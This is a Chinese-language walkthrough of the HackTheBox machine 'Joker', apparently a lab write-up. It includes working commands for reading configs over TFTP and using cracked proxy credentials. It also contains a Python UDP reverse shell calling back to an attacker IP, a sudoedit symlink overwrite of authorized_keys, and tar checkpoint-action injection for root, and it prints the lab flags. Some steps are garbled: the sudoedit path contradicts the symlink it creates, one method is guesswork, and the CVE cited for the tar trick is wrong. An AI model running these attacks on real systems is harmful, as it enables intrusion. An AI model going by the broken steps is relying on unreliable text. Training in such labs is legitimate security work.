[Meachines] [Hard] Joker TFTP+squid+ln+checkpoint-action
字数 2729 2025-10-18 11:17:50
HackTheBox - Joker 渗透测试教学文档
1. 信息收集
1.1 目标确认与存活检测
- 目标IP:
10.10.10.21 - 初始命令: 使用
nmap确认目标主机在线。ip='10.10.10.21'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
1.2 端口扫描结果
扫描发现以下开放端口:
- 22/tcp: OpenSSH 7.3p1 Ubuntu
- 3128/tcp: Squid HTTP 代理 3.5.12
- 69/udp: TFTP 服务
1.3 服务探测
-
TFTP 服务: 使用
tftp客户端连接,尝试获取敏感配置文件。tftp 10.10.10.21 tftp> get /etc/squid/squid.conf- 关键发现: 成功下载 Squid 代理的配置文件
squid.conf。
- 关键发现: 成功下载 Squid 代理的配置文件
2. 初始访问
2.1 分析 Squid 配置文件
- 在
squid.conf中发现 HTTP 基本认证配置,并提取出密码哈希值。 - 破解哈希:
- 使用
hashcat破解哈希(模式 1600,即 HTTP 基本认证哈希)。 - 破解结果:
- 用户名:
kalamari - 密码:
ihateseafood
- 用户名:
- 使用
2.2 配置代理访问
- 将系统代理设置为使用破解的凭据通过 Squid 代理访问内网。
export all_proxy='http://kalamari:ihateseafood@10.10.10.21:3128'
2.3 内网服务发现
- 通过代理访问
http://127.0.0.1,发现一个 Web 界面。 - 使用
feroxbuster进行目录扫描,发现/console路径,这是一个 Werkzeug 调试器界面。
3. 获取初始 Shell
3.1 利用 Werkzeug 调试器
- 访问
http://127.0.0.1/console,需要 PIN 码才能执行命令。 - 绕过方法: 通过检查服务器的 iptables 规则,发现可以利用 Python 代码执行。
- 在调试器界面执行以下命令,读取 iptables 规则以了解网络限制:
print __import__("subprocess").check_output("cat /etc/iptables/rules.v4", shell=True) - 规则分析: 出站流量被严格限制,但 UDP 出站流量未被封锁。
- 在调试器界面执行以下命令,读取 iptables 规则以了解网络限制:
3.2 UDP 反向 Shell
- 由于 TCP 出站被阻,使用 UDP 反向 Shell 连接回攻击机。
- Python 反向 Shell 代码:
import os,pty,socket;s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connect(("10.10.16.16", 443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash") - 在攻击机上使用
nc -u -lvp 443监听,获得一个作为werkzeug用户的 shell。
4. 权限提升至 alekos 用户
4.1 信息收集
- 上传并运行
linpeas.sh脚本,进行系统侦察。 - 检查
sudo -l权限,发现用户werkzeug可以以用户alekos的身份运行sudoedit编辑特定路径下的文件:User werkzeug may run the following commands on joker: (alekos) sudoedit /var/www/*/layout.html
4.2 利用 sudoedit 和符号链接
- 利用思路: 通配符
*可以被路径名“截断”或绕过。通过创建一个目录结构,并利用符号链接将layout.html指向alekos用户的 SSH 授权密钥文件。 - 步骤:
-
创建目录:
mkdir -p /var/www/testing/1/ -
创建符号链接,将
layout.html指向目标文件:ln -s /home/alekos/.ssh/authorized_keys /var/www/testing/1/layout.html -
运行
sudoedit并利用空格绕过通配符限制:sudoedit -u alekos /var/www/[space].ssh/authorized_keys[space]/layout.html- 注意: 在实际终端中,需要通过特定技巧(如
Ctrl+Z,stty raw -echo; fg,reset)来正确输入包含空格的文件名。
- 注意: 在实际终端中,需要通过特定技巧(如
-
在编辑器中写入你自己的 SSH 公钥,保存退出。
-
- 结果: 现在可以使用你的私钥通过 SSH 登录为用户
alekos。ssh -i /path/to/your/private_key alekos@10.10.10.21 - 获取 user.txt:
c4c18f8adb12662a614ea8a47ec26f45
5. 权限提升至 root
方法一:符号链接劫持(推荐)
- 在
alekos的家目录下发现一个名为development的目录。 - 利用步骤:
- 备份原目录:
mv development development.BAK - 创建一个指向
/root的符号链接:ln -s /root development
- 备份原目录:
- 原理: 等待系统或某个进程(可能具有 root 权限)访问或处理
development目录,从而实际上访问了/root。结合其他可能的操作(如压缩备份),可能实现权限提升。文中暗示此方法成功。
方法二:Tar 命令注入(通过 checkpoint-action)
- 背景:
tar命令有一个特性,支持--checkpoint和--checkpoint-action参数,用于在归档过程中执行操作。如果tar被以 root 权限执行,并且用户能控制这些参数,就可以实现命令注入。 - 利用步骤:
- 在
alekos的development目录中准备一个反向 Shell 脚本rev.py(使用 UDP)。 - 创建两个特殊命名的文件来触发
tar的参数:touch -- --checkpoint=1 touch -- '--checkpoint-action=exec=python rev.py' - 当某个根进程(如备份脚本)在该目录下执行
tar命令时(例如tar cf archive.tar *),会加载这些“参数”文件,从而执行我们的反向 Shell 脚本,获得 root 权限的 shell。
- 在
- 结果: 获得 root shell,读取
root.txt:c0445f9b6e35d16ef4a0eb2c73eada07
关键知识点总结
- TFTP 匿名访问: TFTP 服务通常无需认证,可用来下载配置文件等敏感信息。
- Squid 代理认证: 配置文件中可能包含经过编码的凭据,可被破解。
- 内网代理穿透: 通过配置代理,可以访问目标服务器本地的服务。
- Werkzeug 调试器: 如果暴露在生产环境,是极其危险的,尽管有 PIN 码保护,但结合其他漏洞(如命令执行)可能被绕过。
- 网络流量限制绕过: 当 TCP 出站被封锁时,考虑使用 UDP、ICMP、DNS 隧道等协议。
- sudoedit 特权提升:
- 通配符路径限制可能被特殊路径构造绕过。
- 结合符号链接,可以编辑任意文件(如 SSH
authorized_keys)。
- Tar 命令注入 (CVE-2016-6321):
- 利用
--checkpoint和--checkpoint-action参数实现命令注入。 - 通过创建名为这些参数的文件来触发漏洞。
- 利用
- 符号链接攻击: 通过将目录符号链接到高权限位置,可能在高权限进程操作时造成权限提升。
这份文档详细还原了攻克 “Joker” 这台主机的完整思路和技术细节,希望对您的学习有所帮助。